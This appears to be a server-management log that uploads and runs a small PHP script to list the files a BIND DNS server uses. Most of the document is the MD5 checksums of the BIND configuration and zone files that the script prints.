MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:42:45: Establishing a connection
2026-04-23 13:42:45: 

PUT: /tmp/pkp144512

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:42:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp144512; rm /tmp/pkp144512'

2026-04-23 13:42:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
